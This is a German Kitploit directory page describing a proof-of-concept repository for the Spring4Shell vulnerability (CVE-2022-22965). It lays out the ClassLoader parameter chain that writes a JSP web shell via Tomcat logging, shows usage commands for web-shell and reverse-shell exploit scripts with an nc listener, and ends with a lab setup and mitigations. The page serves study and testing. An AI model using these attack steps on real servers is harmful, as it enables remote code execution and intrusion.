Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Beschreibung | Kitploit
Tools/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubmarch0n/poc-cve-2022-22965-spring4shell

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

PoC-CVE-2022-22965-Spring4Shell

Beschreibung

Repository anzeigen
2vor 3 MonatenNoch nicht geprüft
Teilen

PoC — CVE-2022-22965 (Spring4Shell)

Haftungsausschluss: Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke gedacht. Alle Exploit-Skripte dürfen ausschließlich gegen Systeme verwendet werden, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Material entstehen.

Studie und Proof-of-Concept zu CVE-2022-22965, einer kritischen Schwachstelle zur Remote-Code-Ausführung (RCE) im Spring Framework, die im April 2022 öffentlich offengelegt wurde.


Überblick über die Schwachstelle

Spring4Shell betrifft Spring-MVC- und Spring-WebFlux-Anwendungen, wenn alle folgenden Bedingungen erfüllt sind:

BedingungWert
JDK-Version9 oder höher
AnwendungsserverApache Tomcat
PaketierungWAR (kein ausführbares JAR)
Spring Framework< 5.3.18 oder < 5.2.20

So funktioniert es

Der Datenbindungsmechanismus von Spring erlaubt es, HTTP-Anfrageparameter mithilfe der Punktnotation (z. B. user.name=foo) auf Java-Objekt-Eigenschaften abzubilden. Die Schwachstelle entsteht, weil dieser Zugriff nicht ordnungsgemäß eingeschränkt ist – ein Angreifer kann über die Klassenhierarchie des Modellobjekts den ClassLoader der JVM erreichen:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

Dieser Pfad erreicht Tomcats AccessLogValve, dessen Logging-Konfiguration zur Laufzeit manipuliert werden kann. Durch Ändern von Eigenschaften wie pattern, directory, prefix und suffix lenkt der Angreifer das Zugriffsprotokoll von Tomcat so um, dass eine Datei mit der Erweiterung .jsp geschrieben wird, die beliebigen JSP-Code enthält – was effektiv eine Web-Shell auf dem Server platziert.

Angriffsablauf

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

Repository-Struktur

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

Exploit-Varianten

SkriptMethodePayloadHinweise
exploit1.pyPOSTWeb-Shell (passwortgeschützt)Einzelne Anfrage
exploit2.pyPOSTWeb-ShellSetzt die Logging-Konfiguration vor/nach dem Exploit zurück
exploit3.pyGETWeb-Shell (ohne Passwort)Parameter über Query-String
exploit4.pyGETReverse-TCP-Shellmsfvenom-basierter JSP-Payload
exploit4b.pyPOSTReverse-TCP-ShellGleicher Payload wie exploit4, POST-Variante

Verwendungsbeispiel

root@kitploit:~
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Laboraufbau

Voraussetzungen

  • Java 11+
  • Maven (sudo apt install maven oder sudo dnf install maven)
  • Docker (optional, empfohlen)

Erstellen

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Mit Docker ausführen

root@kitploit:~
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

Die Anwendung ist dann unter http://localhost:8082/vulnerable verfügbar.


Gegenmaßnahmen

  • Spring Framework aktualisieren auf 5.3.18+ oder 5.2.20+
  • Spring Boot aktualisieren auf 2.6.6+ oder 2.5.12+
  • Falls eine Aktualisierung nicht sofort möglich ist:
    • Auf JDK 8 herabstufen
    • WebDataBinder.setDisallowedFields() verwenden, um die Bindung von classLoader zu blockieren
    • Eine WAF-Regel bereitstellen, die Parameter blockiert, die class., Class., module. oder classLoader enthalten

Danksagungen

Originalforschung und Exploit-Code von @march0n. Dieses Repository ist eine persönliche Studie der Schwachstelle zu Lernzwecken, mit zusätzlicher Dokumentation und Analyse.


Referenzen

  • CVE-2010-1622 — ursprünglicher Spring-ClassLoader-Exploit (2010)
  • Erste chinesische Offenlegung (Weixin)
  • Microsoft Security Blog — Leitfaden zu SpringShell
  • LunaSec — Analyse der Spring-RCE-Schwachstellen
  • Palo Alto Unit 42 — Detaillierte Analyse zu CVE-2022-22965
Tool herunterladen